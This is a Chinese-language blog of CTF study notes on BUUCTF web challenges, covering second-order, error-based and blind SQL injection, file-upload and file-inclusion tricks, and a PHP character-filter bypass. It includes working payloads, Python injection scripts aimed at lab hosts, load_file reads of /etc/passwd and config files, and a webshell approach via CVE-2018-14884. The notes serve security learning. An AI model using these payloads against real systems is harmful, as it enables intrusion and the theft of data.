【web-ctf】ctf_BUUCTF_web(2)

文章目录

  • BUUCTF_web
    • SQL注入
      • 1. [RCTF2015]EasySQL
      • 2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk
      • 3. [CISCN2019 总决赛 Day2 Web1]Easyweb
      • 4. [GYCTF2020]Ezsqli
      • 5. [网鼎杯 2018]Comment
      • 6. [网鼎杯2018]Unfinish
    • 文件上传漏洞
      • 1. [WUSTCTF2020]CV Maker
      • 2. [NPUCTF2020]ezinclude
      • 3. [SUCTF 2019]EasyWeb
    • 文件下载漏洞
      • 1.[网鼎杯 2020 白虎组]PicDown
    • php反序列化
      • 1. [SWPUCTF 2018]SimplePHP
    • 代码审计
      • [红明谷CTF 2021]write_shell(重要)
      • 2. [HarekazeCTF2019]encode_and_encode
    • jave web token(jwt)
      • 1. [HFCTF2020]EasyLogin
    • 模板漏洞
      • 1. [RootersCTF2019]I_<3_Flask
      • 2. [CISCN2019 华东南赛区]Double Secret
    • 其他
      • 1. [b01lers2020]Welcome to Earth
    • 总结
      • 1. 过滤

BUUCTF_web

SQL注入

1. [RCTF2015]EasySQL

考点:

  1. 二次注入
  2. 报错注入
  3. 正则表达式查找
  4. reverse函数

学到的知识点:

  1. 二次注入原理
  2. 二次注入的标志:

(1)可以自行注册用户(这是为了注册一些特殊的用户名到数据库中(比如会导致之后报错、修改其他用户的密码等))
(2)可以使用修改密码等(二次注入的利用,本题中是利用了报错注入)

  1. 报错注入:利用正则表达式搜索需要的值,select * from xx where xxx regexp ‘正则表达式’

例如:
查找f开头的值(因为答案是flag{xxxx-xxx}的格式)
asd"&&(updatexml(1,concat(1,(select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’))),1))#

  1. 报错注入:如果报错注入显示不全,可以使用reverse来反转显示

例如:
asd"&&(updatexml(1,concat(1,reverse((select(group_concat(real_flag_1s_here))from(users)where(real_flag_1s_here)regexp(‘^f’)))),1))#

题解,题解2

2. [CISCN2019 华北赛区 Day1 Web5]CyberPunk

考点:

  1. 二次注入
  2. update的sql注入
  3. mysql中的load_file函数用法

学到的知识点:

  1. 二次注入的核心思想:第一次构造payload的时候由于预编译等原因无法直接获取信息,但是由于网站提供其他的功能时(如修改、删除等),用到了第一次构造的payload,导致被注入。

一般利用二次注入的话,都需要多次“注册用户”。

  1. update的注入方法:

原sql语句:update user set address=‘xx’, old_address=‘xx’ where user_id=‘xx’;
令old_address的xx=',`address`=database()#
sql语句变为:update user set address=‘xx’, old_address=‘’,`address`=database()# where user_id=‘xx’;
:update user set `address`=database()
然后再去用select语句访问address就可以得到database()了。

  1. MySQL的LOAD_FILE(file_name)函数:读取一个文件并将其内容作为字符串返回,如读取flag文件等

user_name=ez4&phone=ez4&address=',`address`=(select(load_file(“/flag.txt”)))#

题解(基于查找的方法,即上面update注入方法中提到的),题解2(基于报错的方法,另外一种update注入方法)

3. [CISCN2019 总决赛 Day2 Web1]Easyweb

学到的知识点:

  1. 单引号的绕过:可以使用转义字符\来绕过,一般会给两个参数,用第二个参数来盲注。
  2. addslashes() 函数:返回在预定义字符之前添加反斜杠的字符串。

预定义字符:

  • 单引号(')
  • 双引号(")
  • 反斜杠(\)
  • NULL
  1. JFIF:一种图片格式,全称(JPEG File Interchange Format)。如果盲注时,页面返回了图片,可以用burpsuite抓包,看看返回图片的类型,比如这道题就是JFIF,所以这就有了盲注成功的依据,那就是

if “JFIF” in r.text

  1. 如果发现上传文件时,无论上传什么格式的文件,最后都是显示上传了一个php文件,那么可以尝试将一句话木马放在上传的文件名。(因为很有可能是将上传的文件名存入了预定义好的php文件的内容里面了)

题解

4. [GYCTF2020]Ezsqli

考点:

  1. information.schema.tables的替代表
  2. 无列名注入
  3. 布尔盲注

学到的知识点:

  1. sys.x$schema_flattened_keys和sys.schema_table_statistics_with_buffer可以替换information_schema.tables,这是有关bypass information_schema的一些方法
  2. 无列名注入:
    payload:1^((字段1,字段2,…)>(select * from 目标表))

注意点:前面的字段 数量 和 位置 要和后面一致
下面给出无列名注入的脚本:

import requests
import time
url = '网址'

payload_flag = '1^((1,\'{}\')>(select * 表名))'
flag = ''
for i in range(1, 100):
    time.sleep(0.3)#这里要sleep一下,不然太快了会乱码,本人测试后0.3正好能出结果
    low = 32
    high = 128
    mid = (low + high) // 2
    while (low < high):
        k = flag + chr(mid)
        payload = payload_flag.format(k)
        data = {"id": payload}
        print(low,high,mid,":")
        r = requests.post(url=url, data=data)
        if 'Nu1L' in r.text:
            low = mid + 1
        else:
            high = mid

        mid = (low + high) // 2
    if mid == 33: # mid in [32,128)
        break
    flag += chr(mid - 1) # mid是刚好大于正确flag的值,mid-1才是等于正确flag的值
    print(flag.lower())  # 因为出来的flag是大写,这边全部转为小写

print(flag.lower())

题解1(博客底下的注意点写的很好),题解2(脚本写的比较好)

5. [网鼎杯 2018]Comment

考点:

  1. 弱口令爆破
  2. git泄露、git恢复
  3. sql二次注入

学到的知识点:

  1. sql二次注入的特征:

(1)网站有可以插入的地方,比如留言板之类的
(2)会有一次插入数据的sql语句执行
(3)取出第一次插入的数据时会导致当前sql语句的含义发生变化

  1. sql中的多行注释为/**/
  2. select load_file(‘文件绝对路径’)这条sql语句可以读取文件信息,常见的比如:
  • 读/etc/init.d下的东西,这里有配置文件路径
    select 1,2,load_file(‘/etc/init.d/httpd’)
  • 得到web安装路径
    select 1,2,load_file(‘/etc/apache/conf/httpd.conf’)
  • 读取密码文件
    select 1,2,load_file(‘var/www/html/xxx.com/php/conn.inc.php’)
  • 读取系统所有用户密码
    select (load_file(‘/etc/passwd’))
  • 当文件过大无法读取时,可以将其输出为16进制编码:
    select hex(load_file(“/etc/passwd”))
    16进制在线转换器
  1. 每个在系统中拥有账号的用户在他的目录下都有一个“.bash_history”文件,保存了当前用户使用过的历史命令,方便查找。路径为:/home/username/.bash_history
  2. .DS_Store(英文全称 Desktop Services Store)是一种由苹果公司的Mac OS X操作系统所创造的隐藏文件,目的在于存贮目录的自定义属性,例如文件们的图标位置或者是背景色的选择。通过.DS_Store可以知道这个目录里面所有文件的清单。
  3. git命令
  • 查看之前提交的版本:git log --all
  • 恢复之前的版本:git reset --hard e5b2a2443c2b6d395d06960123142bc91123148c

题解

6. [网鼎杯2018]Unfinish

考点:

  1. 二次注入
  2. mysql中+的运算方法
  3. substr的两种用法

学到的知识点:

  1. 二次注入出现的特征:register.php中会多出一个字段,login.php时会少一个字段,但是登录进去之后,页面会显示另外一个字段。例如注册时用:{邮箱,用户名,密码},登陆时只使用:{邮箱,密码},登录进页面之后显示用户名
  2. select '1'+'1a'的运行结果为2select '0'+database();的运行结果为0select '0'+ascii(substr(database(),1,1));的运行结果为数据库的第一个字符的ascii码。
  3. substr的使用方法有两种,第二种方法可以用来绕过逗号的过滤:
  • substr(database(),1,1)
  • substr(database() from 1 for 1)
  1. 二次注入的python脚本:
import requests
import re
from time import sleep


def search_flag():
    flag = ''
    url = 'http://20287d47-308a-4849-9994-34037e26fd2a.node4.buuoj.cn:81'
    url1 = url + '/register.php'
    url2 = url + '/login.php'


    for i in range(100):
        sleep(0.3)
        data1 = {'email': '1234{}@qqqq.com'.format(i), 'username':"0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), 'password':'123'}
        # data1 = {"email": "1234{}@qqqq.com".format(i),"username": "0'+ascii(substr((select * from flag) from {} for 1))+'0;".format(i), "password": "123"}
        data2 = {'email': '1234{}@qqqq.com'.format(i),'password':'123'}
        r1 = requests.post(url1,data=data1)
        r2 = requests.post(url2,data=data2)
        print(r2.text)
        result1 = re.search(r'\s*(\d*)\s*',r2.text)
        result2 = re.search(r'\d+',result1.group())
        flag += chr(int(result2.group()))
        print(flag)


if __name__ == '__main__':
    search_flag()

题解

文件上传漏洞

1. [WUSTCTF2020]CV Maker

考点:

  1. 文件上传漏洞绕过文件头检查方法
  2. 在网页源代码中查找上传文件的路径

学到的知识点:

  1. exif_imagetype函数:读取一个图像的第一个字节并检查其签名。

绕过方法:给文件加一个图像的头即可。gif文件就是GIF89a

  1. 查找上传文件路径的方法:如果上传的文件在页面上有显示,可以按F12打开开发者工具,选中该位置,看该标签的src属性

题解

2. [NPUCTF2020]ezinclude

考点:

  1. php7 segment fault特性(CVE-2018-14884)
  2. 文件包含漏洞
  3. 网站目录扫描
  4. POST方法上传文件

学到的知识点:

  1. php代码中使用php://filter的 strip_tags 过滤器, 可以让 php 执行的时候直接出现 Segment Fault , 这样 php 的垃圾回收机制就不会在继续执行 , 导致 POST 的文件会保存在系统的缓存目录下不会被清除而不像phpinfo那样上传的文件很快就会被删除,这样的情况下我们只需要知道其文件名就可以包含我们的恶意代码。
    使用php://filter/string.strip_tags导致php崩溃清空堆栈重启,如果在同时上传了一个文件,那么这个tmp file就会一直留在tmp目录,知道文件名就可以getshell。这个崩溃原因是存在一处空指针引用。向PHP发送含有文件区块的数据包时,让PHP异常崩溃退出,POST的临时文件就会被保留,临时文件会被保存在upload_tmp_dir所指定的目录下,默认为tmp文件夹。
import requests
from io import BytesIO #BytesIO实现了在内存中读写bytes
payload = ""
data={'file': BytesIO(payload.encode())}
url="http://b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
r=requests.post(url=url,files=data,allow_redirects=False)
  1. GET数据包构造方法:
GET /flflflflag.php?file=/tmp/phppvB8A6 HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
  1. POST数据包构造方法:
POST /flflflflag.php?file=/tmp/phpaRaCPM HTTP/1.1
Host: b75582fa-5dab-4f76-8734-1c591cb88d31.node4.buuoj.cn:81
Content-Type: application/x-www-form-urlencoded
Content-Length: 14

cmd=phpinfo();

整体思路:

  1. 由于flflflflag.php存在文件包含漏洞,并且dir.php可以扫描/tmp目录,因此可以利用CVE-2018-14884漏洞。
  2. 使用POST方式上传一个一句话木马文件,该文件会存放到/tmp目录下
  3. 访问dir.php文件,扫描一下/tmp目录,获得上传的木马文件的文件名
  4. 再利用flflflflag.php中的文件包含漏洞包含该文件,这样就可以执行该木马文件

题解

3. [SUCTF 2019]EasyWeb

思路:

  1. 首先观察源代码,发现存在危险函数eval,然后再看上面存在一个get_the_flag函数,可以想到,使用eval来执行这个函数来得到flag
  2. 为了得到eval(get_the_flag()),我们要让$hhh=get_the_flag(),但是源码中对$hhh进行了限制:

(1)首先长度不能超过18
(2)不能是数字,不能是字母,也不能是它规定的一些特殊字符
(3)字符种类不能超过12种

  1. 上面的限制中最难绕过的就是第2条,这里有包括绕过无数字无字母限制的方法。再考虑到第1条和第3条限制,我们不能简单的讲get_the_flag直接进行异或绕过,这里使用这种方式传参?_=${_GET}{%A0}();&%A0=get_the_flag,这样一来,$hhh=${_GET}{%A0}(),由于_GET只有四个字符,异或之后占9个字符(算上^符号),这样数来刚好是17个字符。异或之后字符种类也没超过12种。按照上面的方法构造脚本:

$l = "";
$r = "";
$argv = str_split("_GET");  ##将_GET分割成一个数组,一位存一个值
for($i=0;$i<count($argv);$i++){   
    for($j=0;$j<255;$j++)
    {
        $k = chr($j)^chr(255);    ##进行异或         
        if($k == $argv[$i]){
        	if($j<16){  ##如果小于16就代表只需一位即可表示,但是url要求是2位所以补个0
        		$l .= "%ff";
                $r .= "%0" . dechex($j);
        		continue;
        	}
            $l .= "%ff";
            $r .= "%" . dechex($j);
            
        }
    }}
echo "\{$l`$r\}";  ### 这里的反引号只是用来区分左半边和右半边而已

?>
  1. 得到payload,?_=${%A0%B8%BA%AB^%ff%ff%ff%ff}{%A0}();&%A0=get_the_flag
  2. 构造脚本上传文件,这里对上传的文件有三条限制:

(1)后缀不能出现ph字符串(无论大小写)
(2)文本内容中不能出现
(3)上传的文件只能是image类型

  1. 第一条能通过上传.htaccess绕过,具体方法请看题解。第二条由于php版本的限制,因此不能使用

你可能感兴趣的:(ctf,前端,数据库)